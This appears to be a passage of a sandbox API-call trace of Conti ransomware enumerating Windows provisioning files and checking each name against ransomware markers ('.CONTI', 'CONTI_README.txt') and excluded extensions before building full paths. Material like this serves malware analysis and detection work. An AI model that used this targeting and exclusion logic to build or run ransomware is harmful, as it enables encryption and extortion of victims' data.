	[0109.425] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml"
	[0109.426] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="391__C~1.PRO")) returned 1
	[0109.426] lstrcmpiW (lpString1="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.426] lstrcmpiW (lpString1="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.426] StrStrIW (lpFirst="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.426] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.426] lstrlenW (lpString="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.426] GetProcessHeap () returned 0x1720000
	[0109.426] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17d6fb8
	[0109.426] lstrcpyW (in: lpString1=0x17d6fb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.426] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.426] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0109.426] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="392__C~1.PRO")) returned 1
	[0109.428] lstrcmpiW (lpString1="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.428] lstrcmpiW (lpString1="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.428] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.429] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.429] StrStrIW (lpFirst="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.429] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.429] lstrlenW (lpString="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.429] GetProcessHeap () returned 0x1720000
	[0109.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6573140
	[0109.429] lstrcpyW (in: lpString1=0x6573140, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0109.429] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="393__C~1.PRO")) returned 1
	[0109.429] lstrcmpiW (lpString1="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.429] lstrcmpiW (lpString1="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.429] StrStrIW (lpFirst="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.429] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.429] lstrlenW (lpString="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.429] GetProcessHeap () returned 0x1720000
	[0109.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x656cac0
	[0109.429] lstrcpyW (in: lpString1=0x656cac0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0109.429] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="394__C~1.PRO")) returned 1
	[0109.429] lstrcmpiW (lpString1="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.429] lstrcmpiW (lpString1="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.429] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.429] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.430] StrStrIW (lpFirst="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.430] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.430] lstrlenW (lpString="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.430] GetProcessHeap () returned 0x1720000
	[0109.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65737a8
	[0109.430] lstrcpyW (in: lpString1=0x65737a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0109.430] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="395__C~1.PRO")) returned 1
	[0109.430] lstrcmpiW (lpString1="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.430] lstrcmpiW (lpString1="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.430] StrStrIW (lpFirst="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.430] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.430] lstrlenW (lpString="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.430] GetProcessHeap () returned 0x1720000
	[0109.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6572d68
	[0109.430] lstrcpyW (in: lpString1=0x6572d68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.430] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml"
	[0109.430] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="396__C~1.PRO")) returned 1
	[0109.430] lstrcmpiW (lpString1="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.431] lstrcmpiW (lpString1="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.431] StrStrIW (lpFirst="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.431] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.431] lstrlenW (lpString="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.431] GetProcessHeap () returned 0x1720000
	[0109.431] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65725b8
	[0109.431] lstrcpyW (in: lpString1=0x65725b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.431] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.431] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml"
	[0109.431] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="397__C~1.PRO")) returned 1
	[0109.431] lstrcmpiW (lpString1="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.431] lstrcmpiW (lpString1="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.431] StrStrIW (lpFirst="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.431] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
